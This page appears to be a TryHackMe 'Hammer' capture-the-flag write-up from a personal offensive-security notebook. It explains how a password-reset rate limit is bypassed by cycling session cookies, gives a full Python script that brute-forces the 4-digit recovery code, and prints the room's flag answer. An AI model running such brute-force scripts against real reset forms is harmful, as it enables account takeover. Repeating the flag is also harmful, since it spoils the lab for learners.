🖥️
Offensive security concepts
  • Introduction
  • 💿Virtualbox network setup
    • What is VirtualBox?
    • NAT
    • NAT network
    • Bridged adapter
    • Internal network
    • pfSense
    • vboxmanage
    • Overview
  • 🕵️OSINT
    • What is OSINT?
    • Google dorks
    • Metadata
    • Social media
      • osintagram
  • Tools
    • waybackurls
    • recon-ng
    • sherlock
    • maltego
    • theHarvester
    • photon
  • 😨Social Engineering
    • What is social engineering?
    • 7 tricks of social engineering
    • Email phishing
    • Typosquatting
    • Compiled resources
  • 😈MitM attack
    • What is MitM attack?
    • ARP spoof/poison
    • DNS spoof/poison
    • HTTP MitM attack
    • ICMP redirect attack
    • DHCP spoofing
    • Evil twin attack
    • Experiment (guest network)
    • Compiled resources
  • 🔌UPnP exploitation
    • What is UPnP?
    • What is SSDP?
    • IGD functions
    • LAN devices
    • Compiled resources
  • Network Reconnaissance & Attacks
    • What is network hacking?
  • 1️⃣Network live host discovery
    • What is network live host discovery?
    • nmap
    • arp-scan
    • masscan
  • 2️⃣Network port scan/services enumeration
    • What is network port scan/services enumeration?
    • nmap
    • netcat
  • 3️⃣Network services vulnerability scanning & exploitation
    • What is network vulnerability scanning/exploitation?
    • 20/21 ~ FTP
    • 22 ~ SSH
    • 25 ~ SMTP
    • 53 ~ DNS
    • 80/443 ~ HTTP/HTTPS
    • 110 ~ POP3
    • 111/2049 ~ RPC/NFS
    • 139/445 ~ SMB
    • 143 ~ IMAP
    • 3389 ~ RDP
  • Vulnerability & exploitation
    • Database
    • Metasploit
    • Msfvenom
  • Misconfigurations
    • .DS_Store
  • Web Application Penetration Testing
    • Introduction
    • Directories/URLs gathering
    • Subdomain enumeration
    • File inclusion & Path traversal
    • Insecure Direct Object Reference (IDOR)
    • Upload vulnerabilities
      • File extension cheat-sheet
    • SSRF
    • CSRF
    • XSS
    • SQL injection
  • Authentication/session management
    • OWASP WSTG-SESS-10 ~ JSON Web Token (JWT)
    • OWASP WSTG-ATHZ-05 ~ OAuth weaknesses
  • Webshell
  • Web API pentesting
    • Resources
    • Methodology
    • jq
    • httpx
    • ParamSpider
  • Web app pentesting methodology
  • OWASP
    • OWASP top 10
    • OWASP API top 10
    • Web Security Testing Guide (WSTG)
      • WSTG-ATHZ
        • WSTG-ATHZ-05 ~ OAuth weaknesses
      • WSTG-SESS
        • WSTG-SESS-10 ~ JWT
  • General web knowledge
    • URI standard (RFC 3986)
    • HTTP headers
  • 🛣️Attacks on routing protocols
    • What are attacks on routing protocols?
    • BGP hijacking
  • 🏕️To explore
    • MQTT
    • Routersploit
    • DNS rebinding attack
    • LLMNR/mDNS poisoning
  • 👤Anonymity
    • VPN
    • Proxychains
    • TOR
    • Obfuscation
  • Credentials brute-force/cracking
    • Introduction
    • Windows SAM database
    • Dictionary attack
    • Rainbow attack
      • Hash database
    • Tools
      • Hydra
      • John the ripper
      • Hashcat
      • hash-identifier
  • Post-exploitation
    • Gaining shell
      • netcat
      • socat
      • powershell
      • bash
      • PHP
    • Repository
  • Privilege escalation
    • Linux
      • Repositories
      • Enumeration
      • Vulnerabilities exploit
        • General
        • Kernel exploit
        • Sudo
        • SUID
        • Capabilities
        • Cronjobs
        • $PATH
        • NFS (target-machine)
        • Filesystem sharing
          • NFS (attacker-machine)
    • Windows
      • Password harvesting
      • Vulnerabilities exploit
        • Scheduled tasks
        • AlwaysInstallElevated
        • Service misconfigurations
          • Insecure permissions on service executable
          • Unquoted service path
          • Insecure service permission
        • Abusing privileges
  • Ⓜ️MITRE ATT&CK
    • Introduction
  • 🧰Tools/services
    • Introduction
    • Web hacking
      • Web fuzzing
      • Password brute-forcing
      • Burp Suite (Community)
      • nikto
      • ZAP (Zed Attack Proxy)
      • nuclei
    • Information gathering/reconnaissance
    • Network hacking
      • nmap (general overview)
      • scapy
      • bettercap
    • General
      • impacket
    • Wordlists
      • cewl
  • Professional report writing
    • Report template
      • Web applicaton pentesting
        • OWASP report layout
  • Tasks on-the-go
    • Note taking on-the-go
    • Other tips
  • Practice
    • Metasploitable 2
    • TryHackMe
  • Operational Security (OpSec)
    • Hardening
      • General
      • Oracle VirtualBox
      • Web Browser
  • Write-ups
    • TryHackMe
      • Silver Platter
      • Light
      • Pickle Rick
      • Hammer
        • Enumeration (active recon)
          • /hmr
          • Further directory discovery
          • /phpmyadmin
          • burp suite sitemap
        • Brute forcing 4-digit code
        • Retrieving the flag
      • OWASP Top 10 - 2021 (task 22)
    • OverTheWire
      • Untitled
    • OWASP
      • OWASP Juice Shop
      • OWASP WebGoat
  • AI prompt
    • ChatGPT
Powered by GitBook
On this page
  • Overview of password recovery process
  • Findings
  • Attempting to brute force the code
  1. Write-ups
  2. TryHackMe
  3. Hammer

Brute forcing 4-digit code

Previousburp suite sitemapNextRetrieving the flag

Last updated 7 hours ago

Using the email tester@hammer.thm we have found from the enumeration phase, we can explore the reset password feature.

Overview of password recovery process

(1) Enter email in the Reset Password page

POST /reset_password.php (email=tester%40hammer.thm)

NOTE: this request must be performed before attempting to POST the recovery code (refer to step 3)

Response

(2) A GET /reset_password.php request will be sent.

If the cookie is valid (not expired), we will be presented with a form to enter the 4-digit recovery code.

(3) Send recovery code

POST /reset_password.php with recovery code and s parameter defined in the request body.

A script exist that automatically logs the user out after a set period of time. The value countdownv is used as the time variable, which appears to be controlled by the s parameter in our request body:

Response

If we send an expired cookie, we will get the following response:

If the cookie is not expired, we will be able to send our recovery code. The image below shows the display for an invalid recovery code.

(4) Once the window period is over (countdownv <=0), the cookie will be expired, and the user will be automatically logged out.

Automatic logout: GET /logout.php

This will cause the application to expire our cookie.

Response

Set-Cookie to PHPSESSID=deleted.

(5) From the Location header defined in the previous response, a GET /index.php request with no cookies will be sent, to redirect back to the main login page.

GET /index.php

Response

New PHPSESSID in the Set-Cookie

  • Retrieved PHPSESSID: mgj0vc1q4908nel9i695d3mvj8

  • This value will be sent as a cookie in the subsequent requests

(6) The entire process repeats from step (1) above, with the newly retrieved cookie.

Findings

  1. We can control the time period window in the reset password page (/reset_password.php) with the s parameter. However, this simply prevents the application from immediately expiring our cookie (GET /logout.php), but does not work by itself when brute forcing the code.

Attempting to brute force the code

  1. It appears that the application implements a rate limiting feature on the recovery code functionality. For a given PHPSESSID, we are only allowed 8 attempts within the window period, before it blocks any further requests. To workaround this, we have to retrieve a new PHPSESSID after every 8 brute force attempts. This can be done by (#1) sending a GET request to /index.php, with no cookies, before (#2) sending a POST request to /reset_password.php with the new cookie retrieved.

    • The flaw is in the way the application handles this process. When we perform step (#1), the application simply associates our new cookie with the email, but fails to generate a new 4-digit code. Thus, this allows us to indefinitely reset our PHPSESSID session (without the 4-digit code changing), and eventually retrieve the correct code with 100% success rate.

    • This defeats the purpose of the rate limiting feature.

Python script to brute force the 4-digit recovery code with 100% success rate:

import requests


class BruteForce:

    s = requests.Session()

    N = 8
    MAX_CODE = 9999
    PORT = 1337
    EMAIL = 'tester@hammer.thm'

    def __init__(self, IP):
        self.IP = IP

        self.headers = {
            'Host': f'{IP}{self.PORT}',
            'Content-Type': 'application/x-www-form-urlencoded',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0'
        }

        self.URL = f'http://{IP}:{self.PORT}'

    def retrieve_new_session(self):
        self.s = requests.Session()

        # session is updated automatically
        self.s.get(f'{self.URL}/index.php', headers=self.headers)

    def associate_email_with_new_session(self):
        data = {
            'email': self.EMAIL
        }

        self.s.post(f'{self.URL}/reset_password.php',
                    headers=self.headers, data=data)

    def start(self):
        try:
            # retrieve initial session
            self.retrieve_new_session()

            # enter email
            self.associate_email_with_new_session()

            iterations = self.MAX_CODE+1

            for i in range(1000, iterations):

                if i % self.N == 0 and i != 0:
                    print('[INFO] Retrieving new PHPSESSID')

                    # request for a new PHPSESSID
                    self.retrieve_new_session()

                    # enter email
                    self.associate_email_with_new_session()

                # zero pads to 4 digits
                code = f'{i:04d}'

                data = {
                    'recovery_code': code,
                    's': 200
                }

                print(f'[INFO] Trying code={code}')

                res = self.s.post(f'{self.URL}/reset_password.php',
                                  headers=self.headers, data=data)

                res_text = res.text
                res_status_code = res.status_code
                res_content_length = len(res.text)
                req_cookies = self.s.cookies.get_dict()

                print(f'status={res_status_code} content_length={
                    res_content_length} cookies={req_cookies}')

                # wrong code
                if 'Invalid or expired recovery code!' in res_text:
                    print("\033[91mWrong code!\033[0m")

                # valid code found
                else:
                    print("\033[92mSuccess!\033[0m")
                    print(f'code={code}')
                    exit()

        except KeyboardInterrupt:
            exit()


IP = input('[!] Enter the target IP address: ')

bruteforce = BruteForce(IP)
bruteforce.start()

After running the script, we found the valid code!

Now, we have to manually insert the PHPSESSID value into our web browser cookies. Upon navigating to the reset password page, we can enter the found code, before being able to set a new password.

After logging in with our new password, we are presented with the dashboard page.

With this, we have found the answer to our first question "What is the flag value after logging in to the dashboard?": THM{AuthBypass3D}

RESPONSE
REQUEST
RESPONSE